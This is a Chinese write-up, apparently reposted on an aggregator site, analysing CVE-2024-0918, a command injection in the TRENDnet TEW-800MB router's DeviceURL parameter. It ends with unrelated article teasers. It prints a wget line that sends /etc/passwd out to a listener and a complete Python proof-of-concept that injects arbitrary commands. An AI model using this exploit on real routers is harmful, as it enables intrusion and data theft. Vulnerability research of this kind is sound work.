CVE-2024-0918 TEW-800MB RCE漏洞分析

漏洞描述

固件版本为1.0.1.0的TEW-800MB路由器存在命令注入漏洞。如果攻击者获得了web管理权限,他们可以将命令注入到httpd未知函数中的post请求参数DeviceURL中,从而获得shell权限。。

参考链接

TEW-800MB (notion.site)icon-default.png?t=N7T8https://warp-desk-89d.notion.site/TEW-800MB-1f9576ce12234b72b08b9c7f4c7d32a6?pvs=4

本次我们来分析固件web漏洞

由于也是涉及大量的开发知识,本次分析不可能面面俱到。凭借着开发经验我们无需关注那么多的函数传递的细节,结合关键字 大胆猜测 在进行大量模糊测试验证自己的想法。

漏洞环境搭建

固件下载https://www.trendnet.com/support/support-detail.asp?prod=100_RB-TEW-800MB

仿真环境GitHub - pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

sudo ./run.sh -d TRENDnet ../fw_tew800mb\(v1.0.1.0\)_08012013/FW_TEW800MB\(v1.0.1.0\)_08012013.bin
漏洞分析

此次漏洞接口uapply.cgi

使用binwalk 解压固件的文件系统,先分析下相关前端代码

分析下这个表单 from

<form method="post" name="DeviceNameURL" action="/uapply.cgi" onsubmit="return checkDeviceURL();">
<input type="hidden" name="page" value="/adm/management.asp">
<input type="hidden" name="token" value="<% genToken(); %>">
<div id="box_deviceUrlSettings">
<table width="100%" class="tbl_main"><tr><td class="CT" colspan="2"><!--#tr id="mg.17"-->Device URL Settings<!--#endtr--></td></tr><tr><td class="CL"><!--#tr id="mg.18"-->Device URL<!--#endtr--></td><!-- Ricky Cao: Exactly, the length of predefned URL has not be limited in kernel level (bridge code) --><td class="CR"><input type="text" name="DeviceURL" id="DeviceURL" size="32" maxlength="64" value="<% nvram_get("DeviceURL"); %>"></td></tr>
</table>
<table width="100%" class="tbl_main"><tr align="center"><td><input type="submit" class="button1" value="<!--#tr id="apply"-->Apply<!--#endtr-->" /> &nbsp; &nbsp;<input type="reset"  class="button1" value="<!--#tr id="cancel"-->Cancel<!--#endtr-->" onclick="window.location.reload()" /><input type="hidden" class="button1" name="action" value="Apply">    <input type="hidden" name="DeviceURL" value="setDeviceURL">    </td></tr>
</table>
</div>
</form>

这个表单提交给/uapply.cgi

可有属性 page token DeviceURL action=(Apply) DeviceUR=(setDeviceURL)(默认值)

接下里使用ida pro 分析 此次的http服务 httd

搜索相关关键字DeviceURL 分析参数传递后做了怎么的处理。或者搜索system 查看调用的参数是否为我们可控

有echo %s 的执行, 查看伪代码

v48 是v47来的 v47是nvram_get("DeviceURL")来的 。DeviceURL很有可能是我们传递的参数

由此我们可以向其中注入命令

漏洞复现

我们先登录前端管理页面 用户名密码都为admin

之后访问/adm/management.asp页面

看来DeviceURL 就在这里了。 我们打一个http请求,本地监听4444端口

注意js会拦截检测,我们直接把它删掉。点击apply

点击之后我们立马收到了请求

漏洞复现成功,我们可以尝试数据外带wget http://192.168.116.131:4444?$(cat /etc/passwd)

附赠poc


import requests
import base64 
import reif __name__ == '__main__':print('start !!! ')target = input("Enter Target IP : ")username = input("Enter Username : ")password = input("Enter Password : ")cmd = input("Enter you want cmd : ")auth = username + ":" + passwordhash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')s = requests.Session()headers = {'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",'Accept-Language': "en-US,en;q=0.5",'Accept-Encoding': "gzip, deflate, br",'Authorization': f'Basic {hash}','Connection': "close",'Cookie': "expandable=6c",'Upgrade-Insecure-Requests': "1"}response = s.request("GET", f'http://{target}/adm/management.asp', headers=headers)data = response.texttoken_pattern = r'name="token" value="([^"]+)"'token_match = re.search(token_pattern, data)if token_match:token_value = token_match.group(1)else:token_value = "Token not found"print(token_match)exitburp0_url = "http://" + target + "/uapply.cgi"burp0_headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'en-US,en;q=0.5','Accept-Encoding': 'gzip, deflate, br','Content-Type': 'application/x-www-form-urlencoded','Authorization': f'Basic {hash}','Connection': 'close','Cookie': 'expandable=6c','Upgrade-Insecure-Requests': '1'}# Form data to be sent in POST requestburp0_data = {'page': '/adm/management.asp','token': f'{token_value}','DeviceURL': f'tew-800mb`{cmd}`','action': 'Apply','apply_do': 'setDeviceURL',}s.post(burp0_url, headers=burp0_headers, data=burp0_data)print("end !!! ")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/695716.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qt不规则可移动窗体的实现

实现: 可以借助不规则的位图来实现不规则窗体,并支持拖动和移动。下面分别是头文件和源文件 #ifndef SHAPEWIDGET_H #define SHAPEWIDGET_H#include <QWidget>class ShapeWidget : public QWidget {Q_OBJECTpublic:ShapeWidget(QWidget *parent = 0);~ShapeWidget(); …

【嵌入式学习】QT-Day2-Qt基础

1> 思维导图 https://lingjun.life/wiki/EmbeddedNote/20QT 2>登录界面优化 使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数 将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff…

LWM(LargeWorldModel)大世界模型-可文字可图片可视频-多模态LargeWorld-详细安装记录

说明 Large World Model&#xff08;LWM&#xff09;是一个通用的大环境多模态自回归模型&#xff0c;它利用了一个技术名为RingAttention&#xff0c;通过在大型的多样化视频和图书数据集上的训练&#xff0c;实现了对语言、图像和视频的理解与生成能力。 在github上已有4.2k…

c++文件的打开、读写和关闭。缓冲区的使用和控制。

在C中&#xff0c;文件的打开、读写和关闭通常使用标准库中的文件流对象&#xff08;如std::ifstream用于输入文件&#xff0c;std::ofstream用于输出文件&#xff09;来完成。这些对象封装了与操作系统交互的底层细节&#xff0c;使得文件操作更为简单和安全。 以下是文件打开…

Spring Boot与Netty:构建高性能的网络应用

点击下载《Spring Boot与Netty&#xff1a;构建高性能的网络应用》 1. 前言 本文将详细探讨如何在Spring Boot应用中集成Netty&#xff0c;以构建高性能的网络应用。我们将首先了解Netty的原理和优势&#xff0c;然后介绍如何在Spring Boot项目中集成Netty&#xff0c;包括详…

编程笔记 Golang基础 016 数据类型:数字类型

编程笔记 Golang基础 016 数据类型&#xff1a;数字类型 1. 整数类型&#xff08;Integer Types&#xff09;a) 固定长度整数&#xff1a;b) 变长整数&#xff1a; 2. 浮点数类型&#xff08;Floating-Point Types&#xff09;3. 复数类型&#xff08;Complex Number Types&…

JAVA高并发——单例模式和不变模式

文章目录 1、探讨单例模式2、不变模式 由于并行程序设计比串行程序设计复杂得多&#xff0c;因此我强烈建议大家了解一些常见的设计方法。就好像练习武术&#xff0c;一招一式都是要经过学习的。如果自己胡乱打&#xff0c;效果不见得好。前人会总结一些武术套路&#xff0c;对…

体验LobeChat搭建私人聊天应用

LobeChat是什么 LobeChat 是开源的高性能聊天机器人框架&#xff0c;支持语音合成、多模态、可扩展的&#xff08;Function Call&#xff09;插件系统。支持一键免费部署私人 ChatGPT/LLM 网页应用程序。 地址&#xff1a;https://github.com/lobehub/lobe-chat 为什么要用Lobe…

2024年2月19日-2月25日(全面进行+收集免费虚幻商城资源)

试试周一到周五重点进行&#xff0c;周末抄写源码&#xff0c;周一晚上看书很快就在22&#xff1a;00睡着&#xff0c;早上可以看看视频教程&#xff0c;出租车上补觉。 执行如下&#xff1a; 周一&#xff1a; 8&#xff1a;01-9&#xff1a;20ue4 rpg&#xff08;184&#xf…

深入探索C/C++预处理世界:预定义符号与宏定义的全方位指南

引言 在C/C编程中&#xff0c;预处理器是源代码转换为可编译形式的重要阶段。预处理器指令提供了诸如宏定义、条件编译、头文件包含等多种功能&#xff0c;极大地增强了代码的灵活性和可维护性。本篇博客将逐一探讨预处理的关键概念&#xff0c;从预定义符号到宏函数&#xff…

OpenAI Sora引领AI跳舞视频新浪潮:字节跳动发布创新舞蹈视频生成框架

OpenAI的Sora已经引起广泛关注&#xff0c;预计今年AI跳舞视频将在抖音平台上大放异彩。下面将为您详细介绍一款字节跳动发布的AI视频动画框架。 技术定位&#xff1a;这款框架采用先进的diffusion技术&#xff0c;专注于生成人类舞蹈视频。它不仅能够实现人体动作和表情的迁移…

Linux系统安装KafKa

Linux安装KafKa ​ 官方下载地址&#xff1a;Apache Kafka ​ 解压安装包 tar -zxvf kafka_2.12-3.3.2.tgz​ 修改配置文件 vim server.properties# broker 的全局唯一编号,不能重复,只能是数字 broker.id0 # kafka 运行日志(数据)存放的路径,路径不需要提前创建,kafka 自动…

2.21学习总结

1.【模板】ST 表 2.Balanced Lineup G 3.景区导游 4.最近公共祖先&#xff08;LCA&#xff09; 倍增思想&#xff1a;主要用于LCA问题&#xff0c;RMQ问题。在进行 递推 时&#xff0c;如果 状态空间很大&#xff0c;通常的 线性递推 无法满足 时间 与 空间复杂度 的要求&…

Chrome浏览器安装Axure-Chrome-Extension插件

Chrome浏览器打开Axure生成的HTML静态文件页面时&#xff0c;会显示如下图AXURE RP EXTENSION FOR CHROME&#xff0c;这是因为Chrome浏览器没有安装Axure插件Axure-Chrome-Extension导致的。 解决方法&#xff1a; 插件下载地址&#xff1a;https://download.csdn.net/downlo…

FreeRTOS 探秘之路(目录)

文章目录 前言一、FreeRTOS 快速入门二、FreeRTOS 深入学习 前言 一、FreeRTOS 快速入门 一&#xff0c;STM32cubeMX配置FreeRTOS工程 二&#xff0c;STM32cubeMX配置FreeRTOS---- 任务管理 三&#xff0c;STM32cubeMX配置FreeRTOS---- 互斥量 四&#xff0c;STM32cubeMX配…

通过盲注脚本复习sqllabs第46关order by 注入

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理&#xff0c;使用ORDER BY语句不仅支持对单列数据的排序&#xff0c;还支持对数据表中多列数据的排序。语法格式如下 select * from 表名 order by 列名(或者数字) asc&#xff1b;升序(默认升序) select * from 表名 or…

交换瓶子【第七届】【省赛】【A组】

题目描述 有N个瓶子&#xff0c;编号 1 ~ N&#xff0c;放在架子上。 比如有5个瓶子&#xff1a; 2 1 3 5 4 要求每次拿起2个瓶子&#xff0c;交换它们的位置。 经过若干次后&#xff0c;使得瓶子的序号为&#xff1a; 1 2 3 4 5 对于这么简单的情况&#xff0c;显然&#…

Java练习(第3天)使用StringJoiner类进行字符串连接

一、问题描述 给定2个或多个字符串&#xff0c;将其连接成为一个字符串&#xff0c;并输出连接后字符串的长度。字符串之间用逗号或引号分隔。 样例输入1&#xff1a; Ram Shyam 样例输出1&#xff1a; Ram,Shyam 9 样例输入2&#xff08;要求接在输出1之后&#xff09;:…

每天一个数据分析题(一百六十四)

关于OLAP系统&#xff0c;下列选项不正确的是&#xff08;&#xff09; A. 是基于数据仓库的信息进行分析处理过程 B. 用户数量相对较少&#xff0c;其用户主要是业务决策人员与管理人员 C. 对响应时间要求非常高。 D. 基础数据来源于生产系统的操作数据&#xff0c;也就是…

C#_索引器

索引器的作用&#xff1a;令对象可像数组一般被索引 索引器 internal class TestClass {public int[] arr { 1, 2, 3, 4, 5 };public string this[int index] // 前者为返回类型&#xff0c;后者为索引类型// 返回类型代表get函数的返回值类型、set函数的value类型&#xff0…